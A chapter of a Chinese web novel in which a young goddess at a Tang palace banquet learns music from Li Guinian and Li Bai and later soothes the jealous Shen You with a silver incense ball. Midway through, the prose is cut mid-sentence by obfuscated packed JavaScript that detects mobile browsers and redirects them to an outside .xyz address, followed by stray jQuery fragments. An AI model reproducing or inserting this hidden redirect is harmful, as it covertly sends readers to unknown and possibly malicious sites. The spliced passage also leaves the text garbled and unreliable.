桐焦指尖漫不经心地敲着案几,轻声道:“瞧吧,我都说了你没必要去了。”
荔娅转眸望他,绿眸里凝着不解:“哦?看来你看出来樊娀为什么会被莫名其妙掳走了?而且只是三日?”
“可以猜到。樊娀是被翟蘅带去复制了。”
“复制?”荔娅更不解了,“一定要如此大费周章?”
在宫宴上动手,风险极大,就为了复制一个樊娀?
桐焦调整了一下坐姿,耐心解释道:“准确的说,是让樊娀在魔王骨力面前亮相后,再复制。樊娀的性子慢,容易让骨力抓狂。骨力可能会因此……放弃她作为日后吞噬的所谓‘可能性’,这大概率就是你们‘轮回分流’计划中的一环。”
荔娅心头一震:“为什么要让骨力放弃她?‘可能性’不是越多越好吗?”
她陷入了沉思,指尖无意识地捻着衣袖上的绣纹。神界上层的布局,总是这般云山雾罩,让她难以捉摸。
桐焦并不催促,只是抬手从精致的玉碟中拈起一块做成牡丹花形的糕点,递到她面前。
“来,尝尝这个,”他语气随意,仿佛刚才讨论的不是惊心动魄的阴谋,而是风花雪月,“尚食局的手艺,还过得去。”
荔娅下意识接过,温热甜香入手,却食不知味。
她喃喃道:“难道说……神界真的打算让樊娀‘强制引渡’骨力?所以她绝对不可以成为被骨力吞噬的目标?”
这个念头让她自己都吓了一跳,“强制引渡”爱恨未消的灵魂,反噬极大,几乎是不可能完成的任务。
“差不多。”桐焦给出了一个模糊的答案,既不肯定也不否定。
他瞧着荔娅那副绞尽脑汁、眉头越皱越紧的模样,忽然伸过手,指尖轻轻抚过她的眉心。
“小神明,不要总是皱眉。”一股温和的力量随之渗入,让她紧绷的神经稍稍松弛下来,“放下那些事情,专注盛宴,如何?今日这场景,便是盛唐气象,错过可惜。”
荔娅感受到他的好意,吁了口气,有些不好意思地笑了笑:“谢谢。虽然说是我陪你,但似乎总是你在帮助我……”
无论是信息的提供,还是情绪的疏导。
桐焦笑了笑:“好像确实如此。”他目光扫过殿内,忽然对着一个方向招了招手。
一名身着乐官服饰、气质儒雅的男子立刻躬身趋步前来,态度恭敬:“亲王有何吩咐?”
“你需要为我的侄女演奏几曲,”桐焦对李龟年吩咐,又对荔娅介绍道,“这是李龟年,唐代著名乐师,你挑一首喜欢的,学着用筚篥吹给我听?”
荔娅的注意力果然被吸引了过去。她好奇地打量着李龟年和他手中那根细长的、顶端带着芦苇哨片的乐器——筚篥(bìlì),这东西她只在文书记载里见过,据说音色格外凄厉响亮,源自西域。
“听起来很有意思!”荔娅眼中跃跃欲试,“等我学会了,我要给贵妃也奏一曲,让她看看我的厉害!”
“不可以,”桐焦立刻否决,“小神明,只准吹给我听。”
荔娅下意识想要反驳,但想到桐焦近日的诸多回护,那点小小的抗议又咽了回去,最终还是点了点头:“好吧。”
此时,殿中央的宫宴已进行到各国使臣献礼的环节,喧闹隆重。
桐焦与荔娅身份特殊,悄然退场并未引起太多注意。
他们随着李龟年来到一处较为安静的偏殿。
李龟年不愧是天宝年间最负盛名的乐师,技艺已臻化境。一支小小的筚篥在他唇间,时而呜咽如夜风过漠,时而激昂如万马奔腾。荔娅惊叹不已,连连称赞。
她最终选了一首节奏欢快、带有明显龟兹风味的曲子,兴致勃勃地跟着学起来。
桐焦便在一旁闲适地坐着,指尖伴着隐约的节奏轻点案几,目光大多落在荔娅专注的侧脸上。
偏殿内烛火通明,熏香袅袅。
当荔娅终于吹出一小段连贯且音准不错的旋律时,桐焦伸手摸了摸她的头:“再接再厉。”
得到鼓励,荔娅信心倍增,眸中光彩熠熠:“好!我继续学下一段!”
恰在此时,一个声音自殿门处传来:“李乐师,李翰林正在四处寻你呢,说是酒酣耳热,新得了一首绝妙好词,定要你立刻谱成新曲,方不负这良辰美景。”
李翰林,说的就是李白。
来者正是申由。他一身白衣,手持折扇,步入殿内,将桐焦触碰荔娅发顶的动作,以及荔娅因学会新技能而自然流露的、明亮飞扬的神情尽收眼底。
虽那欢欣并非因桐焦而起,但他依然觉得刺眼。
荔娅兴奋地转过头:“申由!你来得正好!我刚刚和这位李乐师学了乐器!这筚篥真有意思!”她举了举手中的乐器。
李龟年却面露难色。一边是身份尊贵的亲王及其侄女,另一边是诗名满天下、且与自己私交甚笃的李白,他夹在中间,左右为难,只得将求助的目光投向桐焦。
申由将李龟年的窘迫看在眼里,顺势对桐焦开口道:“李翰林性本疏狂,若是兴致被扫,心中不豫,随口吟诵几句,落下什么‘权贵骄横,夺人所好’的口实,流传出去,于亲王声名怕是有损。”
桐焦嗤笑一声,慵懒地向后靠了靠:“这话说的,分明是我先行邀请的李乐师,他李白,就不懂先来后到的道理?申由,你可真是一如既往的……善于辞令。”
荔娅看看这个,又看看那个,察觉气氛不对,连忙对李龟年道:“李乐师,今日多谢你的教诲,我已获益良多。你先去吧,莫让李翰林等急了,我今日就学到这里也无妨的。”
李龟年如蒙大赦,却仍谨守礼数,不敢立刻就走,对桐焦拱手:“殿下深明大义,体恤下情。亲王所言‘先来后到’在理,只是敝友李白行事率性,多有冒犯,还望海涵。”
话音未落,一个微醺的身影摇摇晃晃地出现在偏殿门口,人未至,声先到,满腔豪气:“李龟年!磨磨蹭蹭的,躲在这里做什么?莫非是嫌我的诗配不上你的曲?我可是刚作了首新诗,旷古绝今……”
正是诗仙李白。
他提着酒壶,衣襟微敞,步履蹒跚地走进来,目光逡巡一圈,最终落在李龟年身上。
李龟年赶忙上前扶了他一把,低声解释:“太白,你这可就误会我了。是这位亲王殿下的侄女想学筚篥,让在下指点一二,这才耽搁了。”
“筚篥?想学乐器?”李白醉眼朦胧地看向荔娅,努力聚焦辨认了一下,忽然大手一挥,“这样,李龟年你去谱曲,我来教她别的乐器!我虽不如龟年精通筚篥,但琴艺尚可,怎么样,小郡主,有兴趣吗?”
荔娅的眼睛顿时睁得溜圆:“当然有!久仰李谪仙大名!若能得你指点,是我的荣幸!”她一时激动,当即吟出几句《蜀道难》——那正是李白“谪仙”之名由来之诗——眸中尽是钦慕。
李白听得哈哈大笑,很是受用,摆摆手道:“游戏笔墨,不足挂齿。”说着便将一张墨迹淋漓、字迹狂放的诗稿塞进李龟年手里,“快去快去!莫负了这好诗!”
李龟年捏着诗稿,再次看向桐焦。桐焦目光在李白和荔娅之间转了转,微微颔首,示意李龟年可以离开。
李龟年这才松了口气,躬身退下。
李白则摇摇晃晃地走到殿中放置的古琴旁,大大咧咧地坐下,开始伸手调试琴弦。
桐焦见李白醉态可掬,略一沉吟,指尖一动,悄然为李白化解了几分酒气,让他眼神清明少许。
然后,桐焦才转向一旁显然不打算离开的申由,语气疏淡地下逐客令:“烦请回避。我的‘侄女’学乐曲,是为了专门奏给我听的,你可没资格旁听。”
荔娅正好奇地看着李白调音,闻言赶紧解释道:“申由,是因为桐焦他帮了我很多次,我实在过意不去,才学个曲子谢谢他的。而且,能跟李乐师和李翰林学东西,本身就很让人高兴啊!”
申由神色稍霁。然而,当他的目光掠过荔娅发髻间那朵娇艳欲滴的芍药时,之前被压下的不悦又涌了上来。
他忽然踏前一步,伸出手,似乎就想将那朵花从她发间摘下。
桐焦反应极快,几乎是同时起身,不着痕迹地挡在了荔娅身前,一股无形的魔气轻巧地拂开了申由的手腕。
荔娅完全没明白申由这突如其来的举动是为何——她醉酒时被簪上花的一幕,她早已不记得了。
她茫然地看着申由:“申由,你怎么了?”又看看面色微冷的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279852|182504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
桐焦,一头雾水。
申望看着荔娅那双写满不解的绿眸,再看她发间那朵依旧安稳的芍药,一股深深的无力感骤然袭来。
她似乎……根本不在意这花的存在。
“好。我先走了。”
说罢,他不再看桐焦,转身拂袖而去,白衣身影很快消失在偏殿门外的光影里。
荔娅望着他的背影,心头莫名一紧,不及细想便提起裙摆追了出去。
“申由——”
申由身形一顿,却没有回头。
荔娅快步追上,微喘着气,一把拉住他宽大的袖口。
“走得……好快……我还有事情……没有说完……”
申由终于停下,却仍背对着她,周身笼着一层生人勿近的低气压。
荔娅缓过气来,绕到他身前,仰起脸看他。
宫灯暖黄的光落在申由轮廓分明的脸上,却照不进他低垂的眼眸。
“什么事?”
荔娅眨了眨眼,语气轻快:“宴会后的游园活动,和我一起去教贵妃射箭怎么样?”
申由的目光不由自主再次扫过她发间那朵娇艳欲滴的芍药,轻轻“嗯”了一声。
荔娅并未察觉他目光的落点,只觉得他今日分外沉默,与平日那副懒散含笑、时不时就要逗弄她几句的模样大相径庭。
“还有啊,”她继续找着话题,试图打破这沉闷,“没想到你真的能和李白先生说得上话,真是厉害!”
申由只是平淡地点了点头,算作应答,吝于多言。
荔娅终于蹙起了眉,仔细打量着他:“申由,你到底怎么了?心情不好?”她凑近了些,试图从他低垂的眼中看出端倪,“刚才在偏殿就怪怪的。”
申由这才抬起眼,目光沉沉地落在她脸上。
他想问那芍药,想问桐焦,想问她为何能那般自然地接受另一个存在的亲近……可话到嘴边,又觉得徒劳。他以什么身份质问?他又有什么资格干涉?
这沉默让荔娅更加疑惑。她轻轻叹了口气,像是拿他没办法:“唉……本来想等到游园的时候,找个更应景的时机再给你的……”
说着,她从宽大的袖袋中取出一物。
“看!是不是很漂亮?”荔娅举高了那枚银质圆球,晃了晃,“一开始我还以为是什么特别的小铃铛,就像,你送我的净心铃一样。没想到是个银香囊,听说里面的香丸怎么转都不会洒出来呢,是不是很奇妙?”
荔娅将那枚葡萄花鸟纹银香囊,递向他。
申由的目光终于从她的脸,移到了那枚精致得过分的香囊上。他眼底的沉郁像是被这抹突如其来的银亮光泽搅动,缓缓消散了大半。
他迟疑了一下,才伸手接过。
银器微凉,却仿佛烫了他的指尖。
“给我的?”
“不然呢?”荔娅见他终于肯正常说话,似乎松了口气,“我可是挑了好久的!怎么?你不要?不要的话,就还我好了!”她故意板起脸,伸手作势要抢回来。
申由手腕一翻,迅速将香囊收拢入掌心,负手藏到身后。他的脸上,终于重新浮现出荔娅所熟悉的那种笑容,虽然比平时浅淡,却足以驱散方才的沉闷。
“送出去的东西,哪有拿回去的道理?到了我手里,就是我的了。”
荔娅看着他“原形毕露”,也忍不住笑起来:“这样才对嘛!不管你刚才是因为什么不高兴,都不许再气了!”
“遵命,荔娅大人。”申由从善如流地点头,指尖在袖中无意识地摩挲着那枚温润的银香囊。
“这还差不多。”荔娅满意了,又想起偏殿里还等着一位诗仙,“我得赶紧回去了,可不能真让李白先生等急了!游园的时候再见!”
“好,”申由颔首,目光追随着她,“我等着你。”
荔娅朝他挥挥手,转身再次提起裙摆,像一只轻快的鸟儿,重新飞回那片灯火辉煌之中。
申由站在原地,一直看着她的身影消失在朱红廊柱之后,才缓缓抬起手。
掌心中那枚银香囊安静地躺着,折射着碎金般的光点。
他低头看了片刻,才小心翼翼地将其收入怀中,贴衣放好。
和流萤佩放在一处。